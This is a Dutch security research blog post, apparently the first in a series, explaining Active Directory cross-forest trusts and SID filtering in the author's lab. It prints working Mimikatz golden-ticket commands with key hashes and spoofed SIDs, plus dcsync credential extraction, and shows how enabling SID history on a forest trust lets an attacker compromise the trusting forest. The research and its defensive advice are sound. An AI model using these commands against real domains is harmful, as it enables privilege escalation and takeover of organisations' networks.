Active Directory forest trusts deel 1 – Hoe werkt SID filtering?

Dit is de eerste post in een serie over cross-forest Active Directory trusts. Het zal uitleggen wat Forest trusts precies zijn en hoe ze worden beschermd met SID filtering. Als Active Directory trusts nieuw voor je zijn, raad ik je aan om te beginnen met het lezen van harmj0y’s diepgaande gids hierover. Na het lezen van zijn (uitstekende) post had ik veel vragen over hoe dit eigenlijk werkt onder de motorkap en hoe trusts binnen hetzelfde AD forest zich verhouden tot trusts tussen verschillende forest. Deze serie blogs is zowel mijn reis als mijn documentatie over hoe ik dit onderwerp heb onderzocht en hoe ik het nu begrijp. Bereid je voor op een diepe duik in trusts, Kerberos, golden tickets, mimikatz en impacket!

In dit bericht zullen we het hebben over trusts tussen verschillende forest. Een forest is een verzameling van een of meerdere domeinen, die onderdeel zijn van een of meerdere domain trees. In organisaties met slechts één domein, vormt dat domein ook het hele forest. In de documentatie van Microsoft worden trusts vaak interforest trusts (trusts tussen twee verschillende forest) of intraforest trusts (trusts tussen domeinen in hetzelfde forest) genoemd. Omdat deze woorden mij altijd verwarren, zal ik in dit artikel naar ze verwijzen als ofwel trusts binnen het forest, ofwel trusts tussen forest (of cross-forest). Het is ook belangrijk om in gedachten te houden dat terwijl we het hebben over trusts tussen twee wouden, trusts altijd gedefinieerd worden tussen domeinen. Forest trusts kunnen alleen worden aangemaakt tussen twee root domains van verschillende forests, dus elke vermelding in dit bericht van een forest trust is de trust tussen twee verschillende root domains.

Binnen een enkel forest vertrouwen alle domeinen elkaar en kun je escaleren van één gecompromitteerd domein naar alle andere, zoals uitgelegd in Sean Metcalf’s onderzoek naar domain trusts. Om te herhalen: Een Active Directory Domain is geen security boundary, een Active Directory forest wel.

We gaan het ook hebben over security identifiers (SID’s). Een SID is iets dat een security principal uniek identificeert, zoals een gebruiker, groep, of domein. Een van de domeinen in de testbossen heeft SID S-1-5-21-3286968501-24975625-1618430583. De bekende Domain Admins groep, die ID 512 heeft, heeft een SID die bestaat uit de SID van het domein en de ID (in AD terminologie een RID genoemd), waardoor het de SID S-1-5-21-3286968501-24975625-1618430583-512 in dit domein heeft.

De setup

De setup bevat 3 active directory bossen: A, B en C. Zowel forest A als forest C hebben een two-way transitive Forest trust met forest B (wat dit precies inhoudt komt later). Forest A en forest C hebben geen trust tussen elkaar. Forest A is het enige forest met twee domains: forest-a.local en sub.forest-a.local. Omdat deze domeinen beide binnen forest A liggen, hebben ze een twee-weg Parent-child trust met elkaar. De setup is te zien op de volgende afbeelding:

De forest-a en forest-b domeinen hebben beide een Domain Controller en een member server (niet te zien op de afbeelding), de andere domeinen bestaan slechts uit een enkele Domain Controller. Deze hele setup draait in Azure en wordt beheerd via Terraform, dat de virtuele machines, netwerken, DNS en forest setup afhandelt, terwijl de Trusts achteraf handmatig zijn ingesteld.

Van A naar B, wat zit er in een PAC?

Voorstel dat we in forest A zitten en toegang willen tot resources in forest B. We hebben ons Kerberos Ticket Granting Ticket (TGT), dat geldig is in het root domain van forest A waar we ons op dat moment in bevinden (handig forest-a genoemd). Als we toegang willen tot bronnen buiten ons huidige domein (binnen hetzelfde forest of een ander forest), dan heeft Windows een service ticket nodig voor deze bron, in dit voorbeeld forest-b-server.forest-b.local. Onze TGT voor forest-a is natuurlijk nutteloos in forest-b, omdat deze is versleuteld met de hash van het krbtgt account in forest-a, die forest-b niet heeft. In Kerberos termen, we authenticeren in een ander rijk. Dus wat onze client op de achtergrond doet is een service ticket aanvragen voor de bron die we proberen te benaderen in forest-b bij de Domain Controller (DC) voor forest-a. De DC (die in Kerberos termen een Key Distribution Center, of KDC is) heeft lokaal geen resource met het achtervoegsel forest-b.local, hij zoekt naar eventuele trusts met bossen die dit achtervoegsel hebben.

Omdat er een tweerichtings trust is tussen bos A en bos B, kan de DC van forest-a ons een verwijzingsticket (TGT) naar forest-b geven. Dit ticket is ondertekend met de Kerberos inter-realm vertrouwenssleutel, en bevat de groepen waar we lid van zijn in forest-a. Bos B accepteert dit ticket en geeft ons een Service Ticket voor forest-b-server, dat we kunnen gebruiken om ons te authenticeren. Een schematisch overzicht staat hieronder:

Wanneer we op ons werkstation in Forest A verbinding maken met de server in Forest B, kunnen we de tickets zien met het klist commando:

Het tweede ticket van bovenaf is onze initiële TGT, die we kunnen gebruiken om de TGT voor forest-b aan te vragen. U kunt zien dat deze TGT voor forest-b (bovenaan) de krbtgt principal voor forest-b in het server veld heeft. Dit is het account in forest A dat is gekoppeld aan de trust (dit account heet forest-b$ en bevindt zich in het Users gedeelte van de directory). Het versleutelde deel is versleuteld met de inter-realm trust key die deze domeinen delen.

Het derde ticket van bovenaf is het ticket dat we in forest B kunnen gebruiken om contact te maken met de server daar. Het is een service ticket dat ons is gegeven door de DC in forest B. Zoals je kunt zien in het Server veld, is dit ticket gegeven en geldig in het Kerberos realm FOREST-B.LOCAL.

Nu gaan we eens duiken in wat er eigenlijk in dit ticket staat. Iedere Kerberos TGT die door Windows wordt aangevraagd bevat een Privilege Attribute Certificate, of PAC. Het formaat staat beschreven in MS-PAC op MSDN. Deze PAC bevat onder andere de SID’s van de groepen waar we lid van zijn. Om te kunnen zien wat er werkelijk in het PAC staat, moeten we eerst de kaartjes uit het geheugen halen. Hiervoor gebruiken we Mimikatz, waarmee we alle Kerberos tickets naar schijf kunnen dumpen met het sekurlsa::tickets /export commando. Hoewel Mimikatz wel degelijk foutopsporingscode voor Kerberos bevat, kon ik er niet achter komen hoe het werkt, en ik kan geen C schrijven, dus iets aanpassen was sowieso al uitgesloten. Gelukkig ondersteunt mijn favoriete Python bibliotheek impacket allerlei Kerberos dingen. Impacket neemt Kerberos tickets aan in ccache formaat, wat niet het formaat is dat Mimikatz exporteert, maar die kunnen we eenvoudig converteren met kekeo. We hoeven alleen maar het misc::convert ccache ourticket.kirbi commando uit te voeren en Kekeo zal het opslaan als een .ccache bestand dat we kunnen lezen met Impacket.

Voor het decoderen van de PAC heb ik een aantal utilities geschreven gebaseerd op impacket voorbeelden, die ik vrijgeef als onderdeel van dit onderzoek. Om de versleutelde delen van de Kerberos tickets te ontsleutelen hebben we natuurlijk de sleutels nodig, dus die heb ik er voor alle domeinen uitgehaald met secretsdump.py en zijn dcsync implementatie. Voor de eerste TGT moeten we de krbtgt hash toevoegen aan het bestand. Gebaseerd op de screenshot hierboven, kun je zien dat we de aes256-cts-hmac-sha1-96 sleutel nodig hebben die gedumpt is door secretsdump.

De getcfST.py tool wordt gebruikt om een Service Ticket aan te vragen in een ander forest, gebaseerd op een TGT in het .ccache bestand (je kunt het te gebruiken bestand specificeren met export KRB5CCNAME=myticket.ccaches). Dit zal het hele PAC decoderen en dumpen, waarvan de uitvoer hier kan worden bekeken voor geïnteresseerden. Ik heb wat regels code toegevoegd die de belangrijke delen voor ons afdrukken in een meer menselijk leesbaar formaat:

Username: superuserDomain SID: S-1-5-21-3286968501-24975625-1618430583UserId: 500PrimaryGroupId 513Member of groups: -> 513 (attributes: 7) -> 520 (attributes: 7) -> 512 (attributes: 7) -> 519 (attributes: 7) -> 518 (attributes: 7)LogonServer: forest-a-dcLogonDomainName: forest-aExtra SIDS: -> S-1-18-1

Dit is een behoorlijk standaard PAC. We zien dat we lid zijn van verschillende groepen, en aangezien dit de Administrator account is (ID 500, hoewel het een andere naam heeft) van Forest A waar we momenteel mee testen, is het lid van verschillende standaard admin groepen, zoals Domain Admins (512) en Enterprise Admins (519). We hebben ook de Extra SID S-1-18-1, die aangeeft dat we authenticeren op basis van bewijs van bezit van credentials.

Om de tweede TGT te ontsleutelen, moeten we de sleutel van het krbtgt account veranderen in die van het forest-b$ account, wat de inter-realm trust sleutel is. In dit geval wordt de PAC versleuteld met RC4, die de NT hash als invoer gebruikt (ja, die je gebruikt voor het doorgeven van de hash). Dit is standaard, tenzij het vakje “Het andere domein ondersteunt Kerberos AES Encryptie” is aangevinkt. Zoals te zien is in de ruwe dump, is de PAC niet veranderd, wat de aanname ondersteunt dat de DC de PAC gewoon opnieuw codeert als onderdeel van het ticket met de inter-realm vertrouwenssleutel voor Forest B.

De TGS is een iets ander verhaal. Afgezien van het feit dat er een paar wijzigingen nodig zijn in het getcfST.py voorbeeld, en dat de AES-256 sleutel van de forest-b-server computer account moet worden opgegeven om het te decoderen, kunnen we zien dat er meer informatie is toegevoegd aan de PAC (ruwe dump hier):

Username: superuserDomain SID: S-1-5-21-3286968501-24975625-1618430583UserId: 500PrimaryGroupId 513Member of groups: -> 513 (attributes: 7) -> 520 (attributes: 7) -> 512 (attributes: 7) -> 519 (attributes: 7) -> 518 (attributes: 7)LogonServer: forest-a-dcLogonDomainName: forest-aExtra SIDS: -> S-1-18-1Extra domain groups found! Domain SID:S-1-5-21-2897307217-3322366030-3810619207Relative groups: -> 1107 (attributes: 536870919)

We zien dat er een nieuwe sectie is toegevoegd, met daarin de Domein SID van het forest-b domein en een groep waar onze account lid van is in Forest B. Deze SID’s zijn onderdeel van de ResourceGroup structuren van het PAC en zijn voor het opslaan van lidmaatschappen van alle domein lokale groepen in het forest-b domein. Zoals uitgelegd in deze post door harmj0y, zijn domein lokale groepen de enige groepen die beveiligingsprincipals uit andere wouden kunnen bevatten. In het forest-b-domein is onze superuser-gebruiker uit bos A lid van de groep Testgroup2, die u hieronder kunt zien.

Omdat dit wordt weergegeven in ons PAC, dat de servers waarop we ons authenticeren met ons Kerberos Service Ticket gebruiken voor autorisatie, zullen alle privileges die zijn toegewezen aan Testgroup2 van toepassing zijn op de superuser-account uit het andere bos. Dit is hoe authenticatie en autorisatie werkt over trusts heen.

Golden tickets en SID filtering

Een paar jaar geleden hebben Sean Metcalf en Benjamin Delphy samengewerkt om SID History ondersteuning aan Mimikatz toe te voegen, waardoor escalatie van het ene Active Directory domein naar een ander binnen hetzelfde forest mogelijk werd. De procedure hiervoor is hier in detail beschreven. Hoe vertaalt zich dit naar trusts met een ander forest? Laten we een golden ticket aanmaken met een paar interessante SIDs om te zien hoe ze worden verwerkt als ze de forest grens overschrijden. We gebruiken het volgende Mimikatz commando om een golden ticket aan te maken in ons huidige forest:

kerberos::golden /domain:forest-a.local /sid:S-1-5-21-3286968501-24975625-1618430583 /rc4:2acc1a3824a47c4fcb21ef7440042e85 /user:Superuser /target:forest-a.local /service:krbtgt /sids:S-1-5-21-3286968501-24975625-1618430583-1604,S-1-5-21-3286968501-24975625-1111111111-1605,S-1-18-1,S-1-5-21-2897307217-3322366030-3810619207-1106 /ptt

Laten we dit commando eens uitsplitsen. We maken een gouden ticket aan in forest-a, ondertekend met de krbtgt hash van forest-a. Als extra SID’s voegen we een paar interessante SID’s toe:

• S-1-5-21-3286968501-24975625-1618430583-1604, de SID van een groep waar we eigenlijk geen lid van zijn
• S-1-5-21-3286968501-24975625-1111111111-1605, de SID van een domein dat eigenlijk niet bestaat
• S-1-18-1, de SID die Windows toevoegt om aan te geven dat we geauthenticeerd hebben met een bewijs van het bezit van credentals
• S-1-5-21-2897307217-3322366030-3810619207-1106, een groep in forest-b

De vlag /ptt injecteert het ticket in het geheugen, en bij het browsen naar \forest-b-server.forest-b.local zien we geen foutmelding, wat aangeeft dat het ticket met succes is gebruikt om toegang te krijgen tot een bron in forest-b. We exporteren de tickets zoals voorheen en ontcijferen ze op dezelfde manier als in de vorige sectie.

De TGT voor forest-a bevat de verwachte SID’s:

Username: SuperuserDomain SID: S-1-5-21-3286968501-24975625-1618430583UserId: 500PrimaryGroupId 513Member of groups: -> 513 (attributes: 7) -> 512 (attributes: 7) -> 520 (attributes: 7) -> 518 (attributes: 7) -> 519 (attributes: 7)LogonServer: LogonDomainName: FOREST-AExtra SIDS: -> S-1-5-21-3286968501-24975625-1618430583-1604 -> S-1-5-21-3286968501-24975625-1111111111-1605 -> S-1-18-1 -> S-1-5-21-2897307217-3322366030-3810619207-1106

De TGT die we voor forest-b hebben gekregen van de domeincontroller van forest-a, ondertekend met de inter-realm vertrouwenssleutel, bevat in feite precies dezelfde informatie:

Username: SuperuserDomain SID: S-1-5-21-3286968501-24975625-1618430583UserId: 500PrimaryGroupId 513Member of groups: -> 513 (attributes: 7) -> 512 (attributes: 7) -> 520 (attributes: 7) -> 518 (attributes: 7) -> 519 (attributes: 7)LogonServer: LogonDomainName: FOREST-AExtra SIDS: -> S-1-5-21-3286968501-24975625-1618430583-1604 -> S-1-5-21-3286968501-24975625-1111111111-1605 -> S-1-18-1 -> S-1-5-21-2897307217-3322366030-3810619207-1106

Dit suggereert opnieuw dat de DC de PAC niet valideert, maar deze gewoon opnieuw ondertekent met de inter-realm sleutel voor forest-b, ook al bevat deze een groep waar we eigenlijk geen lid van zijn.

Als we deze TGT aan de DC in forest-b voorleggen, krijgen we ons Service Ticket terug, dat de volgende PAC heeft:

Username: SuperuserDomain SID: S-1-5-21-3286968501-24975625-1618430583UserId: 500PrimaryGroupId 513Member of groups: -> 513 (attributes: 7) -> 512 (attributes: 7) -> 520 (attributes: 7) -> 518 (attributes: 7) -> 519 (attributes: 7)LogonServer: LogonDomainName: FOREST-AExtra SIDS: -> S-1-5-21-3286968501-24975625-1618430583-1604 -> S-1-18-1Extra domain groups found! Domain SID:S-1-5-21-2897307217-3322366030-3810619207Relative groups: -> 1107 (attributes: 536870919)

Wat is hier gebeurd? We zien dat opnieuw onze lidmaatschappen in het forest-b domein zijn toegevoegd aan de PAC, maar dat sommige SID’s eruit zijn gefilterd. Dit is waar het SID filtering beveiligingsmechanisme in werking is getreden, dat alle SID’s uitfiltert die geen deel uitmaken van forest-a. De regels voor SID filtering staan beschreven op MSDN. Interessante regels hier zijn die met de ForestSpecific entry. Deze SID’s zijn alleen toegestaan vanaf een PAC van binnen het forest. Aangezien onze PAC van buiten het forest komt, zullen deze SIDs altijd uit onze PAC gefilterd worden. De 3 regels na de ForestSpecific regels zorgen ervoor dat alle SIDs die niet uit forest A komen worden uitgefilterd. Dit omvat zowel de niet bestaande SID die we hebben opgegeven, als elke niet ForestSpecific SID die bestaat in forest B.

Het staat ons nog steeds toe om ons voor te doen als elke gebruiker in forest A, dus als gebruikers uit forest A speciale privileges hebben gekregen in forest B (wat waarschijnlijk de reden is waarom de hele trust in de eerste plaats is opgezet), dan zijn die nu gecompromitteerd.

SID filtering relaxation

Wat me in het begin van dit onderzoek opviel is een optie voor trusts die alleen beschikbaar is via het netdom gereedschap, en niet zichtbaar is in de grafische interface. Een van de pagina’s van de Microsoft documentatie beschrijft het toestaan van SID geschiedenis op cross-forest trusts. Wat doet dit? Laten we de SID-historie inschakelen op de trust van forest B naar A (die van invloed is op gebruikers die zich authenticeren vanuit A in B):

C:\Users\superuser>netdom trust /d:forest-a.local forest-b.local /enablesidhistory:yesEnabling SID history for this trust.The command completed successfully.

Dus wat is er veranderd? Laten we eens kijken hoe dit zich vertaalt naar de TrustAttributes vlag van het Trusted Domain Object. Je kunt dit opvragen met verschillende tools, hieronder zie je de uitvoer van het domain_trusts.html bestand van ldapdomaindump uitgevoerd tegen forest B, een tool die ik een tijdje terug heb geschreven om AD informatie te verzamelen.

Onze trust met forest A heeft nu de TREAT_AS_EXTERNAL vlag. In de relevante Microsoft-documentatie staat het volgende:

Als deze bit is ingesteld, moet een cross-forest trust naar een domein worden behandeld als een externe trust voor de doeleinden van SID-filtering. Cross-forest trusts worden strenger gefilterd dan externe trusts. Dit attribuut versoepelt die cross-forest trusts zodat ze gelijkwaardig zijn aan externe trusts. Voor meer informatie over hoe elk trust type wordt gefilterd, zie sectie 4.1.2.2.

Dit wijst terug naar de sectie in die SID filtering beschrijft. Laten we eens kijken wat er gebeurt als we dezelfde TGT aanbieden tegen het forest-b DC:

Username: SuperuserDomain SID: S-1-5-21-3286968501-24975625-1618430583UserId: 500PrimaryGroupId 513Member of groups: -> 513 (attributes: 7) -> 512 (attributes: 7) -> 520 (attributes: 7) -> 518 (attributes: 7) -> 519 (attributes: 7)LogonServer: LogonDomainName: FOREST-AExtra SIDS: -> S-1-5-21-3286968501-24975625-1618430583-1604 -> S-1-5-21-3286968501-24975625-1111111111-1605 -> S-1-18-1 -> S-1-5-21-2897307217-3322366030-3810619207-1106Extra domain groups found! Domain SID:S-1-5-21-2897307217-3322366030-3810619207Relative groups: -> 1107 (attributes: 536870919)

Ons Service Ticket van het forest-b DC bevat nu alle SID’s die we in ons eerdere Mimikatz ticket hebben gezet! Dit betekent dat we elke SID die niet is gefilterd als ForestSpecific in onze PAC kunnen opgeven en dat deze zal worden geaccepteerd door de DC van forest B.

Laten we een nieuw gouden ticket aanmaken met nog een paar SIDs om deze hypothese te testen:

kerberos::golden /domain:forest-a.local /sid:S-1-5-21-3286968501-24975625-1618430583 /rc4:b8e9b4b3feb56c7ba1575bf7fa3dc76f /user:Superuser /target:forest-b.local /service:krbtgt /sids:S-1-5-21-3286968501-24975625-1618430583-1604,S-1-5-21-3286968501-24975625-1111111111-1605,S-1-18-1,S-1-5-21-2897307217-3322366030-3810619207-1106,S-1-5-21-2897307217-3322366030-3810619207-512,S-1-5-21-2897307217-3322366030-3810619207-519,S-1-5-21-2897307217-3322366030-3810619207-548,S-1-5-21-2897307217-3322366030-3810619207-3101

De nieuwe SIDs die hier zijn opgenomen:

• S-1-5-21-2897307217-3322366030-3810619207-512: Domain Admins, moet worden gefilterd door expliciete ForestSpecific regel
• S-1-5-21-2897307217-3322366030-3810619207-519: Enterprise-admins, moeten worden gefilterd door de expliciete ForestSpecific-regel
• S-1-5-21-2897307217-3322366030-3810619207-548: Account Operators, moet worden gefilterd door de ForestSpecific regel die SID’s tussen 500 en 1000 verbiedt.
• S-1-5-21-2897307217-3322366030-3810619207-3101: Is een groep die lid is van Domain Admins, moet niet worden gefilterd.

Zoals je misschien hebt gemerkt, is het bovenstaande feitelijk ondertekend met de inter-realm trust key, dus we maken hier direct de TGT aan die geldig is voor Forest B, om de stap van het eerst aanbieden aan de Forest A DC over te slaan.

Nu krijgen we het volgende terug in de PAC van ons Service Ticket:

Username: SuperuserDomain SID: S-1-5-21-3286968501-24975625-1618430583UserId: 500PrimaryGroupId 513Member of groups: -> 513 (attributes: 7) -> 512 (attributes: 7) -> 520 (attributes: 7) -> 518 (attributes: 7) -> 519 (attributes: 7)LogonServer: LogonDomainName: FOREST-AExtra SIDS: -> S-1-5-21-3286968501-24975625-1618430583-1604 -> S-1-5-21-3286968501-24975625-1111111111-1605 -> S-1-18-1 -> S-1-5-21-2897307217-3322366030-3810619207-1106 -> S-1-5-21-2897307217-3322366030-3810619207-3101Extra domain groups found! Domain SID:S-1-5-21-2897307217-3322366030-3810619207Relative groups: -> 1107 (attributes: 536870919)

Een paar dingen om op te merken:

• De groepen DA/EA/Account Operators worden inderdaad verwijderd door de SID-filtering
• De groep Domain Admins wordt niet toegevoegd aan het ResourceGroup gedeelte van de PAC, ook al is de groep 3101 een direct lid van deze groep. Dit komt omdat de Domain Admins groep een globale groep is, terwijl alleen domein lokale groepen worden toegevoegd in de PAC.

Wat dit betekent voor een aanvaller is dat je elke RID >1000 groep kunt spoofen als SID geschiedenis is ingeschakeld over een Forest trust! In de meeste omgevingen zal dit een aanvaller in staat stellen om het forest te compromitteren. Bijvoorbeeld de Exchange beveiligingsgroepen, die in veel setups een privilege escalatie naar DA mogelijk maken, hebben allemaal RID’s groter dan 1000. Ook zullen veel organisaties aangepaste groepen hebben voor werkstationbeheerders of helpdesks die lokale beheerdersrechten krijgen op werkstations of servers. Bijvoorbeeld, ik heb zojuist de IT-Admins groep (met RID 3101 welke deel uitmaakt van ons gouden ticket) Administrator rechten gegeven op de forest-b-server machine. Na het uitwisselen van onze TGT voor een Service Ticket, kunnen we ons authenticeren met dit ticket op de machine:

Conclusies

Cross-forest trusts zijn standaard streng gefilterd en staan geen SID’s van buiten dat forest toe om over de trust te reizen. Een aanvaller die een forest dat je vertrouwt compromitteert kan zich echter voordoen als een gebruiker van dat forest, en zo toegang krijgen tot bronnen die expliciet zijn toegekend aan gebruikers/groepen in dat forest.

Als SID geschiedenis is ingeschakeld voor een cross-forest trust, wordt de beveiliging aanzienlijk verzwakt en kunnen aanvallers zich voordoen als het groepslidmaatschap van elke groep met een RID groter dan 1000, wat in de meeste gevallen kan resulteren in een compromittering van het forest.Als je een IT admin bent, overweeg dan zorgvuldig welke gebruikers in verschillende forest je toegang geeft in je forest, omdat elke gebruiker die toegang krijgt de beveiligingsgrens tussen de forest verzwakt. Ik zou niet aanraden om SID historie tussen de forests toe te staan, tenzij het absoluut noodzakelijk is.

In het volgende deel (of delen, wie weet) zullen we duiken in hoe trust Transitivity werkt en andere vormen van trusts met domeinen buiten het forest bespreken. Dit betekent dat we ook zullen gaan spelen met Forest C en sub.forest-a.

De tools

De tools die in deze post worden gebruikt, zijn beschikbaar als proof-of-concept op mijn GitHub. Deze tools zullen handmatig aangepast moeten worden om bruikbaar te zijn en worden alleen AS-IS verstrekt aan mensen die willen reproduceren of verder willen duiken in dit onderzoek.